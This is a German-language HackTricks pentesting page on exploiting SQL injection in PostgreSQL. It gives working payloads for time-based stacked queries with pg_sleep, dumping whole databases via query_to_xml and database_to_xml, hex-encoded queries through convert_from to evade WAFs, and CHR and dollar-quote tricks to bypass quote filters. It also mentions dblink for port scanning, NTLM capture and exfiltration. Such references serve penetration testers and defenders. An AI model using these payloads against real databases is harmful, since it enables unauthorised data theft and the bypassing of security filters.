PostgreSQL injection

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

Wenn du an einer Hacking-Karriere interessiert bist und das Unhackbare hacken möchtest - wir stellen ein! (fließend Polnisch in Wort und Schrift erforderlich).


Diese Seite soll verschiedene Tricks erklären, die dir helfen könnten, eine SQL-Injektion in einer PostgreSQL-Datenbank auszunutzen und die Tricks zu ergänzen, die du auf https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md finden kannst.

Netzwerkinteraktion - Privilegieneskalation, Port-Scanner, NTLM-Challenge-Response-Offenlegung & Exfiltration

Das PostgreSQL-Modul dblink bietet Möglichkeiten, sich mit anderen PostgreSQL-Instanzen zu verbinden und TCP-Verbindungen auszuführen. Diese Funktionen, kombiniert mit der COPY FROM-Funktionalität, ermöglichen Aktionen wie Privilegieneskalation, Port-Scanning und das Erfassen von NTLM-Challenge-Responses. Für detaillierte Methoden zur Durchführung dieser Angriffe, siehe wie man diese Angriffe durchführt.

Du kannst dieses Beispiel lesen, um ein CTF-Beispiel zu sehen, wie man Daten in große Objekte lädt und dann den Inhalt großer Objekte im Benutzernamen der Funktion dblink_connect exfiltriert.

PostgreSQL-Angriffe: Lesen/Schreiben, RCE, Privilegieneskalation

Überprüfe, wie man den Host kompromittiert und Privilegien von PostgreSQL eskaliert in:

5432,5433 - Pentesting Postgresql

WAF-Umgehung

PostgreSQL-Stringfunktionen

Das Manipulieren von Strings könnte dir helfen, WAFs oder andere Einschränkungen zu umgehen. Auf dieser Seite findest du einige nützliche Stringfunktionen.

Gestapelte Abfragen

Denke daran, dass PostgreSQL gestapelte Abfragen unterstützt, aber mehrere Anwendungen einen Fehler auslösen, wenn 2 Antworten zurückgegeben werden, während nur 1 erwartet wird. Aber du kannst die gestapelten Abfragen weiterhin über Zeit-Injektion missbrauchen:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML-Tricks

query_to_xml

Diese Funktion gibt alle Daten im XML-Format in nur einer Datei zurück. Es ist ideal, wenn Sie eine große Menge an Daten in nur 1 Zeile ausgeben möchten:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Diese Funktion wird die gesamte Datenbank im XML-Format in nur 1 Zeile ausgeben (seien Sie vorsichtig, wenn die Datenbank sehr groß ist, da Sie sie möglicherweise DoS oder sogar Ihren eigenen Client):

SELECT database_to_xml(true,true,'');

Strings in Hex

Wenn Sie Abfragen ausführen können, indem Sie sie innerhalb eines Strings übergeben (zum Beispiel mit der query_to_xml-Funktion). Sie können die convert_from-Funktion verwenden, um den String als Hexadezimalwert zu übergeben und Filter auf diese Weise zu umgehen:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Verbotene Anführungszeichen

Wenn Sie keine Anführungszeichen für Ihre Payload verwenden können, können Sie dies mit CHR für grundlegende Klauseln umgehen (Zeichenverkettung funktioniert nur für grundlegende Abfragen wie SELECT, INSERT, DELETE usw. Es funktioniert nicht für alle SQL-Anweisungen):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Oder mit $. Diese Abfragen liefern die gleichen Ergebnisse:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Wenn Sie an einer Hacking-Karriere interessiert sind und das Unhackbare hacken möchten - wir stellen ein! (fließend Polnisch in Wort und Schrift erforderlich).

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Last updated